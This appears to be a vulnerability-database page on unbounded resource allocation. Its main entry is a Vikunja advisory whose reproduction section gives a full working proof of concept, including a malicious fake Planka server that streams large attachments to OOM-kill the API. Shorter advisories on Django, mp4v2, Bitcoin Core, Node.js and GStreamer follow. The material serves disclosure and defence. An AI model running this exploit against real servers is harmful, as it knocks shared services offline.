Observed: The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.
Verification and controls: The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.
Observed evidence:
- migrate_status=200
- public_attacker_ip=93.184.216.34
- attachments_served=5
- baseline_rss_kib=68064
- target_exit=137
- oom_kill_delta=1
- [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
- Liyi Zhou (@lzhou1110)
- Strick Sheng (@Str1ckl4nd)
- Maurice Ng (@mauriceng98)
- Chenchen Yu (@7thParkk)
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-91970"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:53:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API\n\n## Summary\n\nThe always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Dos\n- **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator\n- **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja\u0027s normal per-file limit.\n- **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026\n- **Affected release range:** `\u003e 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced\n\nA low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.\n\n## Technical details\n\nPlanka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.\n\nAttack path: Authenticated migration request -\u003e synchronous attacker-server credential probe -\u003e asynchronous Migrate with no request deadline -\u003e fetch attacker project/board metadata -\u003e loop attacker attachment list -\u003e individually size-limited downloads -\u003e retain all FileContent slices -\u003e process/container OOM and API termination\n\nRelevant code:\n\n- `pkg/routes/api/v2/migration_credentials.go:35`\n- `pkg/routes/api/v2/migration_shared.go:73`\n- `pkg/routes/api/v2/migration_shared.go:95`\n- `pkg/modules/migration/planka/client.go:37`\n- `pkg/modules/migration/planka/client.go:356`\n- `pkg/modules/migration/planka/fetch.go:29`\n- `pkg/modules/migration/planka/fetch.go:32`\n- `pkg/modules/migration/planka/convert.go:275`\n- `pkg/modules/migration/planka/convert.go:280`\n- `pkg/modules/migration/planka/convert.go:293`\n- `pkg/modules/migration/planka/planka.go:86`\n- `pkg/modules/migration/planka/planka.go:100`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27-bookworm AS builder\n\nWORKDIR /src\nCOPY --from=target . .\nRUN mkdir -p frontend/dist \\\n \u0026\u0026 printf \u0027\u003c!doctype html\u003e\u003ctitle\u003ePoC\u003c/title\u003e\u0027 \u003e frontend/dist/index.html \\\n \u0026\u0026 go build -o /out/vikunja .\n\nFROM golang:1.27-bookworm\n\nRUN apt-get update \\\n \u0026\u0026 apt-get install -y --no-install-recommends ca-certificates curl python3 \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\nCOPY --from=builder /out/vikunja /app/vikunja\nCOPY . /app\nRUN chmod +x /app/verify.sh\n\n\n```\n\nCreate `reproduction/verify.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\ntest -d /target-repo\ntest \"$(git -C /target-repo rev-parse HEAD)\" = \"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\ntest -z \"${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}\"\n\nmkdir -p /work/files /work/logs\nexport VIKUNJA_DATABASE_TYPE=sqlite\nexport VIKUNJA_DATABASE_PATH=/work/vikunja.db\nexport VIKUNJA_FILES_BASEPATH=/work/files\nexport VIKUNJA_LOG_PATH=/work/logs\nexport VIKUNJA_SERVICE_ROOTPATH=/work\nexport VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456\nexport VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/\nexport VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/\n\npython3 /app/malicious_planka.py \u003e /work/planka.log 2\u003e\u00261 \u0026\nPLANKA_PID=$!\n/app/vikunja \u003e /work/vikunja.log 2\u003e\u00261 \u0026\nVIKUNJA_PID=$!\ncleanup() {\n if kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n kill \"${VIKUNJA_PID}\" 2\u003e/dev/null || true\n wait \"${VIKUNJA_PID}\" 2\u003e/dev/null || true\n fi\n if kill -0 \"${PLANKA_PID}\" 2\u003e/dev/null; then\n kill \"${PLANKA_PID}\" 2\u003e/dev/null || true\n wait \"${PLANKA_PID}\" 2\u003e/dev/null || true\n fi\n}\ntrap cleanup EXIT\n\nfor _ in $(seq 1 90); do\n if curl -fsS http://127.0.0.1:3456/api/v2/health \u003e /dev/null 2\u003e\u00261 \\\n \u0026\u0026 curl -fsS http://93.184.216.34:18080/api/users/me \u003e /dev/null 2\u003e\u00261; then\n break\n fi\n sleep 1\ndone\ncurl -fsS http://127.0.0.1:3456/api/v2/health \u003e /dev/null\ncurl -fsS http://93.184.216.34:18080/api/users/me \u003e /dev/null\n\nREGISTER_CODE=\"$(curl -sS -o /work/register.json -w \u0027%{http_code}\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"PoC\",\"email\":\"PoC@example.invalid\",\"password\":\"PoC-Test-Password-123!\"}\u0027 \\\n http://127.0.0.1:3456/api/v2/register)\"\ntest \"${REGISTER_CODE}\" = \"201\"\ncurl -fsS \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"PoC\",\"password\":\"PoC-Test-Password-123!\",\"long_token\":false}\u0027 \\\n http://127.0.0.1:3456/api/v2/login \u003e /work/login.json\nTOKEN=\"$(python3 -c \u0027import json; print(json.load(open(\"/work/login.json\"))[\"token\"])\u0027)\"\ntest -n \"${TOKEN}\"\n\nBASELINE_RSS_KIB=\"$(awk \u0027/VmRSS/{print $2}\u0027 \"/proc/${VIKUNJA_PID}/status\")\"\nOOM_BEFORE=\"$(awk \u0027$1 == \"oom_kill\" {print $2}\u0027 /sys/fs/cgroup/memory.events)\"\nMIGRATE_CODE=\"$(curl -sS -o /work/migrate.json -w \u0027%{http_code}\u0027 \\\n -H \"Authorization: Bearer ${TOKEN}\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"url\":\"http://93.184.216.34:18080\",\"token\":\"attacker-key\"}\u0027 \\\n http://127.0.0.1:3456/api/v2/migration/planka/migrate)\"\ntest \"${MIGRATE_CODE}\" = \"200\"\n\nfor _ in $(seq 1 90); do\n if ! kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n break\n fi\n sleep 1\ndone\nif kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n echo \"[PoC] target survived unexpectedly\" \u003e\u00262\n tail -n 80 /work/vikunja.log \u003e\u00262\n tail -n 80 /work/planka.log \u003e\u00262\n exit 1\nfi\n\nset +e\nwait \"${VIKUNJA_PID}\"\nTARGET_EXIT=$?\nset -e\nOOM_AFTER=\"$(awk \u0027$1 == \"oom_kill\" {print $2}\u0027 /sys/fs/cgroup/memory.events)\"\nATTACHMENTS_SERVED=\"$(cat /work/attachment-count 2\u003e/dev/null || echo 0)\"\n\ntest \"${OOM_AFTER}\" -gt \"${OOM_BEFORE}\"\ntest \"${TARGET_EXIT}\" -eq 137\ntest \"${ATTACHMENTS_SERVED}\" -ge 4\nkill -0 \"${PLANKA_PID}\"\nif curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health \u003e /dev/null 2\u003e\u00261; then\n echo \"[PoC] health endpoint remained available after target exit\" \u003e\u00262\n exit 1\nfi\n\nkill \"${PLANKA_PID}\" 2\u003e/dev/null || true\nwait \"${PLANKA_PID}\" 2\u003e/dev/null || true\ntrap - EXIT\necho \"[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))\"\necho \"[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\"\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" \u0026\u0026 pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" \u0026\u0026 pwd)\"\nif [[ \"$(basename \"${SESSION_DIR}\")\" == \"artifacts\" ]]; then\n SESSION_DIR=\"$(cd \"${SESSION_DIR}/..\" \u0026\u0026 pwd)\"\nfi\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nNETWORK_NAME=\"${IMAGE_TAG}-net-$$\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-repro.XXXXXX\")\"\nNETWORK_CREATED=false\ncleanup() {\n if [[ \"${NETWORK_CREATED}\" == \"true\" ]]; then\n docker network rm \"${NETWORK_NAME}\" \u003e /dev/null 2\u003e\u00261 || true\n fi\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\n\necho \"[PoC] cloning target repository\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\nprintf \u0027\\n.git\\n\u0027 \u003e\u003e \"${TARGET_REPO_DIR}/.dockerignore\"\n\necho \"[PoC] building reproduction image: ${IMAGE_TAG}\"\ndocker build \\\n --build-context \"target=${TARGET_REPO_DIR}\" \\\n -t \"${IMAGE_TAG}\" \\\n \"${SCRIPT_DIR}\"\n\necho \"[PoC] creating isolated public-address test network\"\ndocker network create --subnet 93.184.216.0/24 \"${NETWORK_NAME}\" \u003e /dev/null\nNETWORK_CREATED=true\n\necho \"[PoC] running exploit trigger and verification\"\ndocker run --rm \\\n --network \"${NETWORK_NAME}\" \\\n --ip 93.184.216.34 \\\n --memory=256m \\\n --memory-swap=256m \\\n -v \"${TARGET_REPO_DIR}:/target-repo:ro\" \\\n \"${IMAGE_TAG}\" \\\n /app/verify.sh\n\necho \"[PoC] SUCCESS: reproduction completed and verified\"\n\n```\n\nCreate `reproduction/malicious_planka.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\nATTACHMENT_COUNT = 24\nATTACHMENT_BYTES = 20 * 1024 * 1024\ncounter = 0\ncounter_lock = threading.Lock()\n\n\nclass Handler(BaseHTTPRequestHandler):\n protocol_version = \"HTTP/1.1\"\n\n def log_message(self, fmt, *args):\n print(fmt % args, flush=True)\n\n def send_json(self, payload):\n body = json.dumps(payload, separators=(\",\", \":\")).encode()\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def do_DELETE(self):\n self.send_response(204)\n self.send_header(\"Content-Length\", \"0\")\n self.end_headers()\n\n def do_GET(self):\n global counter\n if self.path == \"/api/users/me\":\n self.send_json({\"item\": {\"id\": \"attacker\"}})\n return\n if self.path == \"/api/projects\":\n self.send_json(\n {\n \"items\": [{\"id\": \"p1\", \"name\": \"attacker project\"}],\n \"included\": {\n \"boards\": [\n {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1}\n ],\n \"baseCustomFieldGroups\": [],\n \"customFields\": [],\n },\n }\n )\n return\n if self.path == \"/api/boards/b1\":\n attachments = [\n {\n \"id\": f\"a{i}\",\n \"type\": \"file\",\n \"name\": f\"aggregate-{i}.bin\",\n \"cardId\": \"c1\",\n \"data\": {\"mimeType\": \"application/octet-stream\"},\n }\n for i in range(ATTACHMENT_COUNT)\n ]\n self.send_json(\n {\n \"item\": {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1},\n \"included\": {\n \"users\": [],\n \"labels\": [],\n \"lists\": [\n {\"id\": \"l1\", \"name\": \"active\", \"type\": \"active\", \"position\": 1}\n ],\n \"cards\": [\n {\"id\": \"c1\", \"name\": \"memory bomb\", \"listId\": \"l1\", \"commentsTotal\": 0}\n ],\n \"cardLabels\": [],\n \"taskLists\": [],\n \"tasks\": [],\n \"attachments\": attachments,\n \"customFieldGroups\": [],\n \"customFields\": [],\n \"customFieldValues\": [],\n },\n }\n )\n return\n if self.path.startswith(\"/attachments/\"):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/octet-stream\")\n self.send_header(\"Content-Length\", str(ATTACHMENT_BYTES))\n self.end_headers()\n chunk = b\"A\" * 65536\n try:\n for _ in range(ATTACHMENT_BYTES // len(chunk)):\n self.wfile.write(chunk)\n except (BrokenPipeError, ConnectionResetError):\n return\n with counter_lock:\n counter += 1\n with open(\"/work/attachment-count\", \"w\", encoding=\"ascii\") as count_file:\n count_file.write(str(counter))\n count_file.flush()\n os.fsync(count_file.fileno())\n return\n self.send_response(404)\n self.send_header(\"Content-Length\", \"0\")\n self.end_headers()\n\n\nThreadingHTTPServer((\"0.0.0.0\", 18080), Handler).serve_forever()\n\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2\u003e/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.\n\n**Observed:** The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.\n\n**Verification and controls:** The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.\n\nObserved evidence:\n\n- migrate_status=200\n- public_attacker_ip=93.184.216.34\n- attachments_served=5\n- baseline_rss_kib=68064\n- target_exit=137\n- oom_kill_delta=1\n- [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** \u2014 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.",
"id": "GHSA-wq92-8x3r-fm38",
"modified": "2026-10-09T20:53:24Z",
"published": "2026-10-09T20:53:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91970"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/3688"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API"
}
GHSA-WQFG-M96J-85VM
Vulnerability from github – Published: 2025-04-02 15:31 – Updated: 2025-04-09 20:02An issue was discovered in Django 5.1 before 5.1.8 and 5.0 before 5.0.14. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.views.LoginView, django.contrib.auth.views.LogoutView, and django.views.i18n.set_language are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.0"
},
{
"fixed": "5.0.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.1"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27556"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-02T20:11:40Z",
"nvd_published_at": "2025-04-02T13:15:44Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Django 5.1 before 5.1.8 and 5.0 before 5.0.14. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.views.LoginView, django.contrib.auth.views.LogoutView, and django.views.i18n.set_language are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.",
"id": "GHSA-wqfg-m96j-85vm",
"modified": "2025-04-09T20:02:06Z",
"published": "2025-04-02T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27556"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/2cb311f7b069723027fb5def4044d1816d7d2afd"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/39e2297210d9d2938c75fc911d45f0e863dc4821"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/8c6871b097b6c49d2a782c0d80d908bcbe2116f1"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/edc2716d01a6fdd84b173c02031695231bcee1f8"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2025-14.yaml"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/django-announce"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2025/apr/02/security-releases"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/04/02/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Django Potential Denial of Service (DoS) on Windows "
}
GHSA-WQH8-3GRF-J8JP
Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2024-04-04 04:20mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty.
{
"affected": [],
"aliases": [
"CVE-2023-33720"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-26T16:15:10Z",
"severity": "MODERATE"
},
"details": "mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty.",
"id": "GHSA-wqh8-3grf-j8jp",
"modified": "2024-04-04T04:20:46Z",
"published": "2023-05-26T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33720"
},
{
"type": "WEB",
"url": "https://github.com/enzo1982/mp4v2/issues/36"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WQX3-8496-4XHC
Vulnerability from github – Published: 2024-11-18 06:30 – Updated: 2024-11-18 18:30Bitcoin Core before 0.20.0 allows remote attackers to cause a denial of service (infinite loop) via a malformed GETDATA message.
{
"affected": [],
"aliases": [
"CVE-2024-52920"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T04:15:04Z",
"severity": "HIGH"
},
"details": "Bitcoin Core before 0.20.0 allows remote attackers to cause a denial of service (infinite loop) via a malformed GETDATA message.",
"id": "GHSA-wqx3-8496-4xhc",
"modified": "2024-11-18T18:30:54Z",
"published": "2024-11-18T06:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52920"
},
{
"type": "WEB",
"url": "https://bitcoincore.org/en/2024/07/03/disclose-getdata-cpu"
},
{
"type": "WEB",
"url": "https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR35-FH22-Q84X
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14Keep-alive HTTP and HTTPS connections can remain open and inactive for up to 2 minutes in Node.js 6.16.0 and earlier. Node.js 8.0.0 introduced a dedicated server.keepAliveTimeout which defaults to 5 seconds. The behavior in Node.js 6.16.0 and earlier is a potential Denial of Service (DoS) attack vector. Node.js 6.17.0 introduces server.keepAliveTimeout and the 5-second default.
{
"affected": [],
"aliases": [
"CVE-2019-5739"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-28T17:29:00Z",
"severity": "HIGH"
},
"details": "Keep-alive HTTP and HTTPS connections can remain open and inactive for up to 2 minutes in Node.js 6.16.0 and earlier. Node.js 8.0.0 introduced a dedicated server.keepAliveTimeout which defaults to 5 seconds. The behavior in Node.js 6.16.0 and earlier is a potential Denial of Service (DoS) attack vector. Node.js 6.17.0 introduces server.keepAliveTimeout and the 5-second default.",
"id": "GHSA-wr35-fh22-q84x",
"modified": "2022-05-13T01:14:31Z",
"published": "2022-05-13T01:14:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5739"
},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/february-2019-security-releases"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202003-48"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190502-0008"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-03/msg00041.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00046.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR93-5XPH-995G
Vulnerability from github – Published: 2026-08-06 09:30 – Updated: 2026-09-23 15:30A flaw was found in the GStreamer gst-plugins-good package. The rtph264depay and rtph265depay RTP depayloader elements do not enforce a maximum size limit on the reassembly buffer used during fragmented RTP packet processing. A remote, unauthenticated attacker can send a continuous stream of RTP fragments without ever transmitting an end-of-fragment marker, causing the reassembly buffer to grow without bound until process memory is exhausted. This results in a denial of service through process termination.
{
"affected": [],
"aliases": [
"CVE-2026-18649"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T08:16:29Z",
"severity": "HIGH"
},
"details": "A flaw was found in the GStreamer gst-plugins-good package. The rtph264depay and rtph265depay RTP depayloader elements do not enforce a maximum size limit on the reassembly buffer used during fragmented RTP packet processing. A remote, unauthenticated attacker can send a continuous stream of RTP fragments without ever transmitting an end-of-fragment marker, causing the reassembly buffer to grow without bound until process memory is exhausted. This results in a denial of service through process termination.",
"id": "GHSA-wr93-5xph-995g",
"modified": "2026-09-23T15:30:36Z",
"published": "2026-08-06T09:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18649"
},
{
"type": "WEB",
"url": "https://gitlab.freedesktop.org/gstreamer/gstreamer-security/-/merge_requests/113"
},
{
"type": "WEB",
"url": "https://github.com/0xSemizzz/CVE-2026-18649"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510614"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-18649"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:70803"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:70584"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:70264"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:69232"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:65999"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:65959"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:61943"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:61588"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:56966"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53452"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53451"
},
{
"type": "WEB",
"url": "https://0xsemizzz.vercel.app/projects/cve-2026-18649-gstreamer-rtp-dos"
},
{
"type": "WEB",
"url": "https://0xsemizzz.vercel.app/blog/cve-2026-18649-gstreamer-rtp-dos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
